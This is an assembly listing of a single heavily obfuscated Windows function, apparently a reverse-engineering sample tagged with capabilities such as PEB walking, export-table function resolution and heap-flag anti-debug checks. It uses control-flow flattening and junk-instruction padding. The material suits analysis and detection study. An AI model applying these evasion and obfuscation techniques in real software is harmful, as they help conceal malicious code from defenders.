Function at 0x402200
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Create thread
Encode data using base64
Encode data using xor
Get number of processors
Get process heap flags
Get process heap force flags
Hash data using murmur3
Inspect section memory permissions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1a8
mov eax, dword [0x476640]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0x77003ef8
jmp 0x402340
mov eax, dword [0x477984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
mov eax, edx
not ecx
or eax, 0xec82e69a
mov edi, ecx
mov esi, eax
and esi, 0x84e34f7f
and edi, 0x131c1000
and ecx, 0x7023d46c
or edi, esi
mov esi, edx
xor esi, 0x137d1965
and esi, edx
mov ebx, esi
not ebx
and esi, 0x7b1cb080
or eax, ebx
and ebx, 0x84e34f7f
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0x137d1964
and esi, 0xec82e69b
or eax, esi
mov esi, eax
not esi
and eax, 0x4eedcc26
and esi, 0xb11233d9
or eax, esi
mov esi, eax
xor esi, 0x4021c424
xor eax, 0xb11233d9
mov edi, eax
or eax, edx
and edx, 0x8fdc2b93
and edi, 0x8fdc2b93
and esi, 0x7023d46c
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x6a54da21
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd0c8fecc
and ecx, 0x2f370133
or eax, ecx
xor eax, 0xd0c8fecc
setne cl
sete dl
cmp dword [0x477980], 0xa
setge ah
setl al
mov ch, ah
and al, cl
xor ch, dl
and dl, ah
or al, dl
and ch, ah
mov dl, ch
mov cl, al
xor ch, al
xor dl, 1
xor cl, 1
or dl, cl
xor dl, 1
or dl, ch
mov ah, dl
not ah
and ah, cl
or cl, dl
and dl, al
or dl, ah
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0xcac58bf7
cmovne edx, esi
test cl, 1
mov ecx, 0xcac58bf7
cmovne edx, ecx
test al, 1
cmove edx, esi
mov eax, edx
nop word [eax + eax]
cmp eax, 0x23a2917
jle 0x4023b0
cmp eax, 0x3f85989f
jle 0x402ab0
cmp eax, 0x63160ff0
jle 0x402ca5
cmp eax, 0x6f4ad0bf
jg 0x402e2c
cmp eax, 0x6b03708c
jg 0x403507
cmp eax, 0x65d89f49
jle 0x403eb6
cmp eax, 0x6922f500
jle 0x404f90
cmp eax, 0x6922f501
je 0x4074ef
cmp eax, 0x69ce407f
je 0x407505
cmp eax, 0x6a54da21
jne 0x402340
mov eax, 0x8a47a1a1
jmp 0x402340
cmp eax, 0xbcb3be82
jle 0x402c40
cmp eax, 0xdd4302d5
jle 0x402d07
cmp eax, 0xed1c8588
jg 0x40300b
cmp eax, 0xe2b820f6
jg 0x40355c
cmp eax, 0xe0636ffa
jle 0x403ef0
cmp eax, 0xe1f19c1a
jle 0x404fba
cmp eax, 0xe1f19c1b
je 0x407606
cmp eax, 0xe228d4d8
je 0x407610
cmp eax, 0xe298d376
jne 0x402340
rcl ebx, 0xec
sub edi, 0x6b
imul esi
ror ebx, 0x99
neg ebx
dec edx
rol ebx, 0x8d
rol ebx, 0x8b
bswap esi
dec edi
dec esi
rol edx, 7
not edx
mov edi, 0x86
neg eax
rcr ebx, 0xdd
sub edi, 0xad
sbb edx, 0x95
rcr eax, 0x81
rcl esi, 0xb7
rcr edi, 0xbf
neg eax
inc ebx
or esi, 0xbb
add eax, 0x47
rcl edx, 0x6d
dec edx
add edi, 0xdf
neg esi
dec edx
inc esi
sub esi, 0x89
dec eax
inc esi
ror edi, 9
dec eax
inc ebx
imul eax
dec edi
inc edx
rcl edx, 0x5c
dec eax
ror eax, 0x4a
bswap esi
bswap esi
sub esi, 0x8d
inc edx
imul esi
bswap ebx
sbb edi, 0xcd
mov esi, 0xf9
sbb ebx, 0xed
sbb edx, 0xfc
neg eax
inc edi
bswap ebx
neg esi
inc esi
rcr ebx, 0xdc
sbb esi, 0x36
rcl edx, 4
neg eax
rol edi, 0xbe
sbb edi, 0xe3
neg ebx
or edi, 0x4c
inc esi
imul edi
sub esi, 0xea
not edi
not edx
not eax
dec ebx
ror esi, 0x28
inc ebx
imul ebx
ror edx, 0x79
dec ebx
bswap edi
neg eax
neg edi
not eax
bswap edi
rcl eax, 0x20
imul eax
neg esi
neg eax
imul eax
neg ebx
imul edi
neg edx
mov ebx, 0x81
bswap esi
not edi
bswap eax
dec esi
bswap edi
not ebx
ror edi, 0xfe
or ebx, 0x84
neg edx
sbb ebx, 0xdf
sub edx, 0xca
not edi
sub eax, 0x21
neg esi
rcr ebx, 0x82
inc ebx
inc edx
ror edi, 0x27
inc edi
inc eax
ror edi, 0x90
sbb esi, 0x32
sbb eax, 0xa0
rcr eax, 0xd8
mov esi, 0x6d
bswap edi
ror esi, 0xc9
bswap esi
inc ebx
rol edi, 0x91
dec esi
bswap ebx
imul ebx
rcr eax, 0x54
bswap esi
neg esi
dec esi
rcr ebx, 0x6e
imul edi
inc edi
neg esi
dec esi
bswap eax
and esi, 0xbf
sbb esi, 0x2b
dec ebx
dec eax
sbb esi, 0x45
and esi, 0xbc
rcr edi, 0x8e
bswap edx
neg ebx
sub ebx, 0x1c
neg eax
dec ebx
sub ebx, 0x48
rol edx, 0xac
dec esi
ror esi, 0x6f
bswap edi
rol edi, 0x58
not edi
and eax, 0x9f
not ebx
rol eax, 0xb0
add esi, 0x31
rol edx, 0xaf
sub edx, 0x7b
sbb ebx, 0xd6
imul edi
bswap eax
or esi, 0xc
neg ebx
inc edi
dec edx
neg esi
bswap ebx
rcr eax, 0xdb
sbb edx, 0x11
inc eax
ror edi, 5
ror eax, 0xc0
and esi, 0xe
dec eax
neg edi
sbb edx, 0xc9
neg edx
ror edx, 0xdf
rcr edx, 0x14
rol edx, 0x84
or eax, 0x98
add edi, 0xc1
mov eax, 0x86
bswap eax
ror edi, 0xde
or edi, 0x2d
rcl eax, 0x8f
sub edi, 0x30
dec eax
sbb eax, 0xe6
or ebx, 0x39
or esi, 0x1e
not esi
imul esi
imul ebx
mov ebx, 0xd6
sub ebx, 0xd2
neg edx
imul esi
rcr edi, 0xd1
dec ebx
rol edi, 0x86
and edx, 0xff
and ebx, 0x44
neg edi
dec esi
or edx, 0x78
rol ebx, 0xf0
not edx
mov ebx, 0x52
neg ebx
neg edx
not esi
add edx, 0x79
bswap ebx
inc esi
not eax
neg edi
not ebx
sbb ebx, 0x97
inc edx
mov eax, 0x78
rcr ebx, 0xb4
imul ebx
bswap ebx
imul eax
mov ebx, 0x1e
inc edx
dec edi
imul esi
neg edi
mov esi, 0x94
mov eax, 0x92
sbb ebx, 0xb0
rcr edx, 0x8b
imul ebx
not ebx
sub edx, 0x99
not eax
bswap ebx
bswap edi
rcr eax, 0x54
bswap edx
bswap esi
and edi, 0xfb
inc edx
add edx, 0xa
not edx
bswap edi
sbb eax, 0x4e
sbb esi, 0x24
rcl eax, 0x5c
rcr eax, 0x49
dec edx
or esi, 0xe8
sbb edx, 0xb4
sbb edx, 0x89
neg edx
rol esi, 0x6c
add edx, 0xc5
and eax, 0x22
or edx, 0xbc
mov ebx, 0x2f
sbb edx, 0xee
sub eax, 0xbf
sbb ebx, 0x4d
ror esi, 0x84
sub eax, 0x22
rcr edx, 0x3e
sbb ebx, 0x2d
and ebx, 0x1b
mov edx, 0x46
rcl ebx, 0xfb
imul edx
rcr esi, 0x96
bswap esi
dec ebx
sub edx, 0x7e
or edx, 0x31
sbb edx, 0x92
ror eax, 0x12
or ebx, 0
neg esi
bswap esi
bswap eax
rcl ebx, 0xe
dec eax
neg eax
imul esi
rol edx, 0xba
rol edx, 0xf6
rcl edi, 0xdd
bswap edx
sub esi, 0x2c
and ebx, 0x89
dec ebx
add edi, 0xab
not esi
add edx, 0xa9
neg eax
neg edi
or edx, 0xb5
inc ebx
imul eax
neg edx
imul eax
or eax, 0x45
neg esi
rol edx, 0x63
imul eax
or edx, 0xea
ror edi, 0x45
imul ebx
neg eax
add esi, 0x73
rol esi, 0x36
mov eax, 0x1c
ror edi, 0xe4
imul esi
ror edi, 0x9a
neg eax
inc eax
dec edx
rcr edx, 0xf2
inc eax
inc eax
bswap ebx
inc eax
add edi, 0x14
not edi
rol edx, 0xd5
inc ebx
imul edi
imul eax
neg esi
rcr ebx, 2
mov esi, 0xf3
rcr eax, 0x17
inc esi
add eax, 0xc4
bswap edx
mov edx, 0x9c
neg ebx
not ebx
and ebx, 0xdb
not edx
rol esi, 0xd7
not eax
bswap ebx
inc edi
inc edx
or eax, 0x8a
rcl esi, 0x86
neg eax
sub eax, 0x4c
add ebx, 0xc5
inc ebx
not esi
imul ebx
sbb edi, 0x12
inc edi
dec ebx
add eax, 3
and edi, 0xe8
imul ebx
neg eax
sub edx, 3
rol esi, 0x75
not esi
and eax, 0x5c
add esi, 0x37
rcl edi, 0xc5
rol eax, 0xb7
inc esi
neg edi
add ebx, 0xf4
not eax
bswap ebx
inc eax
add esi, 0xb0
imul esi
inc edi
neg eax
sub edi, 1
mov eax, 0x97
imul eax
ror edi, 0xd7
and eax, 0xa
mov edx, 0xf7
neg edi
dec ebx
imul edi
or eax, 0xc5
neg edi
dec ebx
or eax, 0x41
dec eax
bswap ebx
add esi, 0x67
or esi, 0xad
add edx, 0x47
rcl eax, 0xe2
rcr esi, 0x95
and esi, 0x12
imul ebx
or esi, 0x43
rcr edx, 0xeb
ror ebx, 0x83
not edi
not ebx
and ebx, 0x71
ror edi, 0xfc
inc eax
sub edx, 0x22
inc edi
ror esi, 0xbb
and edx, 0xca
ror edx, 0xc8
imul esi
sbb eax, 0x72
imul edx
neg ebx
dec edx
and ebx, 0x16
add ebx, 0x63
mov ebx, 0x34
bswap eax
and edx, 0x12
rol esi, 0x87
add eax, 0x94
mov esi, 0x5a
not ebx
imul eax
ror edx, 0x78
dec ebx
rcr esi, 0x33
not edx
imul edi
add ebx, 0x32
imul ebx
mov edx, 0xd
bswap edx
not ebx
not esi
mov edx, 0x78
neg edi
neg edx
inc esi
sub ebx, 0xc0
inc ebx
bswap ebx
and esi, 0xf8
dec ebx
dec ebx
bswap eax
bswap eax
not edi
neg esi
and ebx, 0x90
rol ebx, 0xcc
add ebx, 0x4a
or ebx, 0x3c
neg ebx
rcr eax, 0xe6
sub ebx, 0xd8
bswap edx
mov eax, 0x90
or eax, 0xeb
sbb eax, 0x7e
inc edi
sbb eax, 0x5c
sbb ebx, 0x77
dec edi
inc esi
inc edi
or eax, 0x6a
not edx
inc edx
not edi
imul ebx
sub ebx, 0xe5
imul esi
dec ebx
sub eax, 0xa2
rol eax, 0xbe
rcr esi, 0x4a
rcl esi, 0xb
not edx
and esi, 0x97
dec edx
rcl ebx, 0xa9
rol edi, 0x82
sub esi, 0x3a
neg esi
not edi
rol ebx, 0x67
sbb eax, 0xf8
sub ebx, 0x6c
dec ebx
dec eax
imul eax
mov esi, 0x9d
imul edi
neg esi
rcl eax, 0xa8
inc esi
rcr esi, 0x44
rol edi, 0x2a
sbb eax, 0x9e
not ebx
sub esi, 0x89
and ebx, 0xb3
add ebx, 0x4b
rcl edx, 0x2f
rcl edx, 0x76
and eax, 0x89
sbb edx, 0xbc
bswap eax
rcr esi, 0xf6
rol esi, 0xb2
neg edi
not esi
rcr edx, 0xa
sub esi, 0x83
not eax
sbb ebx, 0x73
inc ebx
rol ebx, 0x41
dec esi
not edi
rcl edi, 0xda
sub edx, 0xd2
rcr ebx, 0x93
imul ebx
sub edi, 0x8c
dec edx
dec edi
and edx, 0xb3
imul edx
dec edx
inc esi
imul eax
imul esi
neg ebx
imul eax
dec edi
not edi
bswap edx
not eax
dec ebx
add edx, 0x13
or edx, 0x43
rcl ebx, 3
not ebx
bswap esi
bswap edi
inc eax
add esi, 0x7c
sbb esi, 0x27
rol eax, 0xd8
and eax, 0xe
or ebx, 0xb7
or eax, 0x68
ror eax, 0xee
not edi
rcl eax, 0x33
inc edi
rol edi, 0xe3
not edx
not esi
neg edi
dec eax
neg edx
mov ebx, 7
sbb esi, 0xef
bswap esi
mov eax, 0x99
inc ebx
or ebx, 0x73
rcl ebx, 8
imul edi
sbb edx, 0x3b
sub edi, 0x42
neg eax
ror esi, 0xdd
rcl edx, 0xff
rcl edx, 0x4f
sbb edx, 0x9e
mov esi, 0x92
dec edi
sbb edi, 0xd4
rcl edx, 0xdd
mov edx, 0x91
sbb ebx, 0x5f
rcl edx, 0xa9
rol esi, 0x11
mov edi, 0x4e
rol ebx, 0x29
mov dword [ebp - 0x1c], eax
mov eax, 0xbb3d245e
jmp 0x402340
cmp eax, 0x1b5d7713
jg 0x402d6f
cmp eax, 0xf70745b
jle 0x40315d
cmp eax, 0x16740ca6
jg 0x403766
cmp eax, 0x11fc2a83
jle 0x403f2b
cmp eax, 0x138259b6
jle 0x404ff1
cmp eax, 0x138259b7
je 0x407b54
cmp eax, 0x150044b5
je 0x407b8b
cmp eax, 0x154d0926
jne 0x402340
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, dword [0x477984]
lea ecx, [eax + 1]
imul ecx, eax
mov edi, ecx
not edi
and ecx, 0x9f78e5a5
and edi, 0x60871a5a
or edi, ecx
mov edx, edi
xor edx, 0x9f78e5a5
mov ecx, edi
xor edi, 0x680a2916
xor ecx, 0x60871a5a
mov eax, edx
or eax, 0x88d334c
mov esi, ecx
and edi, edx
and esi, 0x6750c413
and edx, 0xa4b4f6ec
mov ebx, eax
and ebx, 0x98aa09e8
or esi, ebx
mov ebx, edi
not ebx
and edi, 0x6755f617
or eax, ebx
and ebx, 0x98aa09e8
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov edi, ecx
and edi, 0x5b4b0913
and ecx, 1
mov esi, eax
not esi
or edi, edx
and eax, 0xf772ccb2
and esi, 0x88d334d
mov edx, edi
xor edx, 0xa4b4f6ed
xor edi, 0xa010010
or eax, esi
or ecx, edx
and edi, 0x8e31e0b0
mov edx, eax
not edx
and eax, 0x8e31e0b0
mov esi, edx
or edx, ecx
and esi, 0x71ce1f4f
and ecx, 0x71ce1f4f
or eax, esi
or edi, ecx
not edx
mov esi, 0x7f2657df
xor edi, eax
or edx, edi
mov edi, 0x933425f8
mov eax, edx
xor eax, 0x8f74431c
and eax, edx
not edx
and edx, 0x8f74431c
or eax, edx
mov ecx, eax
not ecx
and eax, 0x9e72c13d
and ecx, 0x618d3ec2
or eax, ecx
cmp eax, 0x11068221
setne cl
cmp dword [0x477980], 0xa
setge al
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
mov ah, dl
not cl
and dl, al
xor ah, 1
or al, ah
and ah, cl
or ah, dl
mov edx, 0x933425f8
mov cl, ah
xor cl, al
jmp 0x402ffa
cmp eax, 0x9cb92ede
jg 0x402dd5
cmp eax, 0x8cad8e15
jle 0x4031b0
cmp eax, 0x939e1fd5
jg 0x40385f
cmp eax, 0x912cfb10
jle 0x403f56
cmp eax, 0x9310d901
jle 0x405041
cmp eax, 0x9310d902
je 0x407c4c
cmp eax, 0x933425f8
je 0x407c69
cmp eax, 0x9356ad1e
jne 0x402340
mov eax, dword [ebp - 0x3c]
mov eax, 0xc666bf02
jmp 0x402340
cmp eax, 0x53049890
jle 0x403314
cmp eax, 0x5984c75a
jg 0x403970
cmp eax, 0x5432225a
jle 0x403f81
cmp eax, 0x558d988f
jle 0x4050e0
cmp eax, 0x558d9890
je 0x407c7c
cmp eax, 0x5830a152
je 0x407c86
cmp eax, 0x5968e33a
jne 0x402340
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x188]
mov dword [eax], ecx
mov eax, 0xc7f853da
jmp 0x402340
cmp eax, 0xcb6d3f04
jle 0x40340f
cmp eax, 0xd2800224
jg 0x403a93
cmp eax, 0xcda77f71
jle 0x4040bf
cmp eax, 0xcf85d178
jle 0x405122
cmp eax, 0xcf85d179
je 0x407c99
cmp eax, 0xd0459316
je 0x407dbb
cmp eax, 0xd079fe29
jne 0x402340
mov eax, dword [ebp - 0x9c]
mov ecx, 0x69ce407f
cmp byte [eax], 0
mov eax, 0x7f55b38
cmove eax, ecx
jmp 0x402340
cmp eax, 0x27ef68cc
jle 0x40345b
cmp eax, 0x31857192
jg 0x403b1e
cmp eax, 0x2b914129
jle 0x4041d4
cmp eax, 0x2cbadbc3
jle 0x405142
cmp eax, 0x2cbadbc4
je 0x407dc5
cmp eax, 0x2e44d9fe
je 0x407e02
cmp eax, 0x30fbfff8
jne 0x402340
cmp byte [ebp - 0x8a], 0
mov eax, 0xec20d445
mov ecx, 0xc6bb2ca1
cmovne eax, ecx
jmp 0x402340
cmp eax, 0xaf83d926
jle 0x4034b2
cmp eax, 0xb7f916ea
jg 0x403b6b
cmp eax, 0xb3bd62bb
jle 0x40438b
cmp eax, 0xb6368619
jle 0x4051a5
cmp eax, 0xb636861a
je 0x407f6c
cmp eax, 0xb68cf630
je 0x407f76
cmp eax, 0xb6e5c82a
jne 0x402340
mov eax, 0xec902945
jmp 0x402340
cmp eax, 0x77052d20
jg 0x403bbd
cmp eax, 0x7370727c
jle 0x4043d2
cmp eax, 0x768cea04
jle 0x405224
cmp eax, 0x768cea05
je 0x407f8b
cmp eax, 0x77003ef8
je 0x407fa0
cmp eax, 0x7701615b
jne 0x402340
mov eax, dword [ebp - 0x104]
mov ecx, dword [0x477984]
mov edi, 0x5ac8749c
add eax, 2
mov dword [ebp - 0x108], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x29cd2fb3
and eax, 0x91a04504
mov edx, ecx
and edx, 0xd632d04c
or ecx, 0x20022888
or esi, edx
and ecx, 0x2c0faac9
mov edx, esi
xor esi, 0x20008
xor edx, 0x400032
or eax, ecx
or esi, 0xc0d8241
and edx, 0x42501032
and esi, 0x2c0faac9
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x625238ba
and ecx, 0x9dadc745
or eax, ecx
mov edx, eax
xor edx, 0x8cd271b4
mov ecx, eax
not ecx
andn esi, eax, edx
mov edx, eax
and edx, 0x732d8e4b
and eax, 0x9800c41b
or edx, esi
mov esi, edx
not esi
and edx, 0x8cd271b5
and esi, 0x732d8e4a
or edx, esi
mov esi, ecx
and esi, 0x67ff3be4
and ecx, 1
or esi, eax
mov eax, edx
not eax
and edx, 0xa90f547d
xor esi, 0x9800c41a
or ecx, esi
mov esi, eax
and esi, 0x56f0ab82
or edx, esi
mov esi, ecx
not esi
or eax, ecx
and ecx, 0x56f0ab82
and esi, 0xa90f547d
not eax
or esi, ecx
xor esi, edx
or eax, esi
mov esi, 0xa7f03d50
mov ecx, eax
xor ecx, 0x5dae270e
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0xa251d8f1
and eax, 0x5dae270e
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe8154d1e
and ecx, 0x17eab2e1
or eax, ecx
mov ecx, eax
xor ecx, 0x60100c08
xor eax, 0x134ab001
and eax, 0x9b4ff117
and ecx, 0x64b00ee8
or ecx, eax
mov eax, ecx
xor eax, 0x1946b102
xor ecx, 0x4300a40
and ecx, 0x86394a55
and eax, 0x79c6b5aa
or eax, ecx
cmp eax, 0x79c6b5aa
setne cl
cmp dword [0x477980], 0xa
setge al
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
mov ah, dl
not cl
and dl, al
xor ah, 1
or al, ah
and ah, cl
or ah, dl
mov ecx, eax
mov edx, 0x5ac8749c
xor cl, ah
test ah, ah
cmovne edx, esi
test al, al
cmovne edx, edi
test cl, cl
jmp 0x402335
cmp eax, 0xf66c10d9
jg 0x403bfe
cmp eax, 0xf284f8fb
jle 0x4044b5
cmp eax, 0xf3ffa4a3
jle 0x405253
cmp eax, 0xf3ffa4a4
je 0x408089
cmp eax, 0xf453aaf3
je 0x4081ce
cmp eax, 0xf51e410e
jne 0x402340
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0xe11867bc
and eax, 0x1ee79843
or edx, eax
xor edx, 0xe11867bc
or ecx, edx
mov eax, ecx
xor eax, 1
mov edx, ecx
not edx
and eax, ecx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
or ecx, eax
mov edx, ecx
xor edx, 0xc1e054e1
mov eax, ecx
and eax, 0x1bd776fc
and edx, ecx
not ecx
and ecx, 0xe4288903
or eax, ecx
mov ecx, eax
xor eax, 0xc0200001
xor ecx, 0x405020
or eax, 0x3e1fab1e
and ecx, 0x80605021
mov esi, eax
and esi, 0x559e0dc2
or ecx, esi
mov esi, edx
not esi
and edx, 0xaa61f23d
or eax, esi
and esi, 0x559e0dc2
or edx, esi
not eax
mov esi, 0x17481e59
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x792b9072
and ecx, 0x86d46f8d
or eax, ecx
xor eax, 0xb8cbc493
setne al
sete dl
cmp dword [0x477980], 0xa
mov ecx, eax
setge ah
setl ch
xor cl, ah
xor al, ch
or ch, dl
or dl, ah
and cl, ah
mov ah, dl
xor cl, 1
xor ah, cl
or cl, dl
mov dl, ch
xor dl, al
or al, ch
xor cl, 1
xor al, 1
or cl, ah
or al, dl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xa8016451
cmovne eax, esi
test cl, 1
mov ecx, 0xa8016451
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402340
cmp eax, 0x8a33d5a
jle 0x403c4e
cmp eax, 0xc00c21f
jle 0x404606
cmp eax, 0xd23f2bf
jle 0x4053b6
cmp eax, 0xd23f2c0
je 0x4081d8
cmp eax, 0xeab0643
je 0x4081e2
cmp eax, 0xf6f658b
jne 0x402340
cmp dword [ebp - 0x198], 0
mov eax, 0x4b5fe6ee
jmp 0x40b10b
cmp eax, 0x8549ca22
jle 0x403d39
cmp eax, 0x873e900a
jle 0x404759
cmp eax, 0x8a038b14
jle 0x4053d6
cmp eax, 0x8a038b15
je 0x4081fb
cmp eax, 0x8a47a1a1
je 0x408234
cmp eax, 0x8a6c98fb
jne 0x402340
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xd4c8229c
and ecx, 0x2b37dd63
or eax, ecx
mov ecx, eax
xor ecx, 0x54802004
xor eax, 0x23060123
and eax, 0xa34e03bb
and ecx, 0x5cb1fc44
or ecx, eax
mov eax, ecx
xor ecx, 0x5cb1fc44
xor eax, 0xa34e03bb
mov edx, eax
and ecx, 0xfffffffe
and eax, 1
and edx, 0xfffffffe
or eax, ecx
or eax, edx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xf62171ba
mov esi, eax
or esi, 0x1188604
and ecx, eax
and esi, 0xd718a68e
and edx, 0x20215130
or edx, esi
mov esi, ecx
not esi
and ecx, 0x28e75971
or eax, esi
and esi, 0xd718a68e
or ecx, esi
not eax
mov esi, 0xf453aaf3
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x9de8e45
and eax, 0xf62171ba
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xfa2e7d31
and ecx, 0x5d182ce
or ecx, eax
xor ecx, 0x5d182ce
sete cl
setne ah
cmp dword [0x477980], 0xa
setge al
setl ch
mov edx, eax
xor al, ah
inc dl
xor al, 1
or dl, cl
mov cl, ch
xor cl, ah
or ah, ch
not cl
xor ah, 1
and cl, ch
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x558d9890
cmovne eax, esi
test dl, 1
mov edx, 0x558d9890
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402340
cmp eax, 0x4811d17f
jle 0x403d8c
cmp eax, 0x4cffd58b
jle 0x4047b7
cmp eax, 0x50ad863e
jle 0x4055a3
cmp eax, 0x50ad863f
je 0x408258
cmp eax, 0x515fcfb9
je 0x408265
cmp eax, 0x5208ec7f
jne 0x402340
mov ecx, dword [0x477984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
and eax, 0x25679084
mov edi, edx
or edi, 0xc1d3d9e
mov esi, edx
and esi, 0xc1d3d9e
and edx, 0xda986f7b
mov ecx, edi
not ecx
and edi, 0xf3e2c260
or eax, edx
or ecx, esi
and ecx, 0xc1d3d9f
or ecx, edi
mov edx, ecx
not edx
and ecx, 0x23be6505
mov esi, edx
and esi, 0xdc419afa
or ecx, esi
mov esi, eax
xor esi, 0x21260004
xor eax, 0xd8000a7a
and eax, 0xdc419afa
and esi, 0x23be6505
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xec9a8cc2
sete cl
setne dl
cmp dword [0x477980], 0xa
setge ah
setl al
or ah, dl
xor al, cl
xor ah, 1
mov ecx, eax
or al, ah
xor cl, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x46a6a113
cmovne edx, esi
test al, al
mov eax, 0x46a6a113
jmp 0x40c46f
cmp eax, 0xc30d3c1a
jle 0x403dc2
cmp eax, 0xc6bb2ca0
jle 0x40487d
cmp eax, 0xc7f853d9
jle 0x4055d2
cmp eax, 0xc7f853da
je 0x40826f
cmp eax, 0xc8aac471
je 0x408287
cmp eax, 0xcac58bf7
jne 0x402340
mov eax, 0x437feff2
jmp 0x402340
cmp eax, 0x1e294fbd
jle 0x403dfe
cmp eax, 0x20897044
jle 0x4048d3
cmp eax, 0x23704e59
jle 0x405600
cmp eax, 0x23704e5a
je 0x408294
cmp eax, 0x25c8a120
je 0x4082ad
cmp eax, 0x25d95d4c
jne 0x402340
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x194], eax
mov eax, 0x61ac0063
jmp 0x402340
cmp eax, 0xa97e57bf
jle 0x403e6b
cmp eax, 0xabb76ba6
jle 0x4048fe
cmp eax, 0xad1f7e4c
jle 0x405620
cmp eax, 0xad1f7e4d
je 0x4082ba
cmp eax, 0xadcba5fb
je 0x4082c7
cmp eax, 0xadcea7ab
jne 0x402340
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xd
mov eax, 0x80913008
jmp 0x402340
cmp eax, 0x6cc82cbf
jle 0x404938
cmp eax, 0x6e344ab4
jle 0x405782
cmp eax, 0x6e344ab5
je 0x4082da
cmp eax, 0x6ec5b2ad
je 0x4082e4
cmp eax, 0x6f160af5
jne 0x402340
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x1b4]
vmovsd xmm0, qword [eax]
mov eax, 0x69ce407f
vmovsd qword [ecx], xmm0
jmp 0x402340
cmp eax, 0xea7bf036
jle 0x404a0d
cmp eax, 0xec20d444
jle 0x40580d
cmp eax, 0xec20d445
je 0x4082f9
cmp eax, 0xec902945
je 0x4084a4
cmp eax, 0xec9a8cc2
jne 0x402340
mov eax, dword [ebp - 0x5c]
push 0x400
push dword [eax]
push dword [ebp - 0xe8]
vzeroupper
call fcn.00446ea0
add esp, 0xc
neg edx
neg edx
sub esi, 0xc7
not eax
not eax
not esi
neg ebx
add eax, 0x6c
and eax, 0xf0
mov ebx, 0xcf
dec edi
rcr esi, 0x87
and edi, 0xca
mov edx, 0xaa
neg edi
rcl eax, 0xba
and esi, 0xfe
dec edx
rcr eax, 0xbd
imul edx
imul edx
imul eax
rcl eax, 0x83
not edi
imul eax
rcr esi, 0x90
imul eax
sbb edi, 0xcc
rol edx, 0xce
inc eax
or ebx, 0x72
imul ebx
and eax, 0x85
neg edx
rol eax, 0x3e
and edi, 0x30
inc esi
inc esi
not edi
dec esi
rcl esi, 0xf7
mov edx, 0xa8
and esi, 0xbf
imul edx
sub edx, 0x49
bswap edx
bswap ebx
inc edi
imul edx
not edx
imul ebx
bswap ebx
rcl ebx, 0x27
and eax, 0x82
bswap edx
sbb edx, 0x8f
bswap eax
rol esi, 0x48
sbb esi, 0x5b
rcl edi, 0xf1
ror eax, 0x9f
bswap esi
bswap ebx
ror ebx, 0xba
neg esi
mov esi, 0xbe
imul edi
rcl edx, 0xb2
not edi
dec edi
bswap edi
rcl eax, 0xc4
imul edx
add edi, 0x2c
bswap esi
sbb edx, 0x7c
mov eax, 0x19
inc ebx
bswap ebx
rcr edi, 0x14
not edx
rcl esi, 0xe
and edi, 0xd7
or edx, 1
imul esi
bswap edx
ror edx, 0xf8
rcl edi, 0xc6
imul esi
bswap ebx
rcr eax, 0xbd
imul ebx
bswap edx
rol eax, 0xa2
add edx, 0x1f
add edx, 0x8c
mov esi, 0x65
rcl edi, 0x59
not edi
rol esi, 0x4b
inc ebx
or edi, 0x3c
rol edx, 0xe7
sbb ebx, 0xc2
mov edi, 0xb2
add ebx, 0xe9
rcr eax, 0x51
inc edx
imul edx
not eax
mov edi, 0x33
rcr edx, 0x27
imul eax
sub edi, 0x6a
sbb edi, 0x5e
mov ebx, 0x13
not eax
and eax, 0x75
not ebx
ror eax, 0x10
neg edx
imul edx
bswap esi
bswap eax
or esi, 0x25
inc esi
imul edx
neg edx
add edx, 0xa1
mov esi, 0x47
inc esi
imul esi
neg edx
dec edx
ror edi, 0x20
sub esi, 0x33
not eax
ror edx, 0xbc
inc ebx
neg eax
imul esi
imul edi
bswap ebx
inc eax
rcr eax, 0xfb
add esi, 0xb0
sbb ebx, 0x54
bswap edx
or eax, 0x7c
imul ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, 0x46a6a113
jmp 0x402340
cmp eax, 0x18afd05f
jle 0x404a38
cmp eax, 0x193cf0a5
jle 0x4058ce
